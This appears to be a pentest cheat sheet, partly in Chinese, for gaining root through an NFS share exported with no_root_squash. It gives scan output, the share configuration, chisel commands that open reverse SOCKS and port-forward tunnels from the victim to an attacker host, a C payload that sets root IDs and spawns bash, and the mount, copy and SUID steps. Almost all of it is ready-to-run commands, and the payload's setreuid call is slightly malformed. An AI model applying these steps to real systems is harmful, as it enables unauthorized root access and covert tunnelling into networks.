NFS no_root_squash Remote Exploit (PrivEsc)
Port Scan
| 111/tcp open rpcbind 2-4 (RPC #100000) 2049/tcp open nfs_acl 3 (RPC #100227)
|
Share Info(已登入到 Victim)
|
/srv/Share 10.1.1.0/24(insecure,rw) /srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
-bash-4.2$ ll /share drwxr-xr-x. 3 root root 19 Dec 21 2019 . dr-xr-xr-x. 17 root root 224 Dec 21 2019 .. drwxrwxrwx. 2 root root 6 Dec 21 2019 Me
-bash-4.2$ ll /share/Me drwxrwxrwx. 2 root root 6 Dec 21 2019 . drwxr-xr-x. 3 root root 19 Dec 21 2019 ..
|
Reverse Socks5 Proxy
| chisel server --host Attack -p 1234 --reverse
chisel client Attack:1234 R:8888:socks
socks5 127.0.0.1 8888
|
Reverse Port forwarding
| chisel server --host Attack -p 1234 --reverse
chisel client Attack:1234 R:2049:127.0.0.1:2049
|
检查挂载信息
| proxychains4 showmount -e Victim
|
Payload
|
int main(void) { setreuid(0, 0, 0); system("/bin/bash"); return 0; }
|
挂载 NFS Share 到 Attack
|
mount -t nfs 127.0.0.1:/share/Me /tmp/nfs
|
复制到挂载目录并为 Payload 设置 SUID 权限
|
cp ./payload /tmp/nfs/bash chmod +s /tmp/nfs/bash
|
运行 Payload
Links & Resources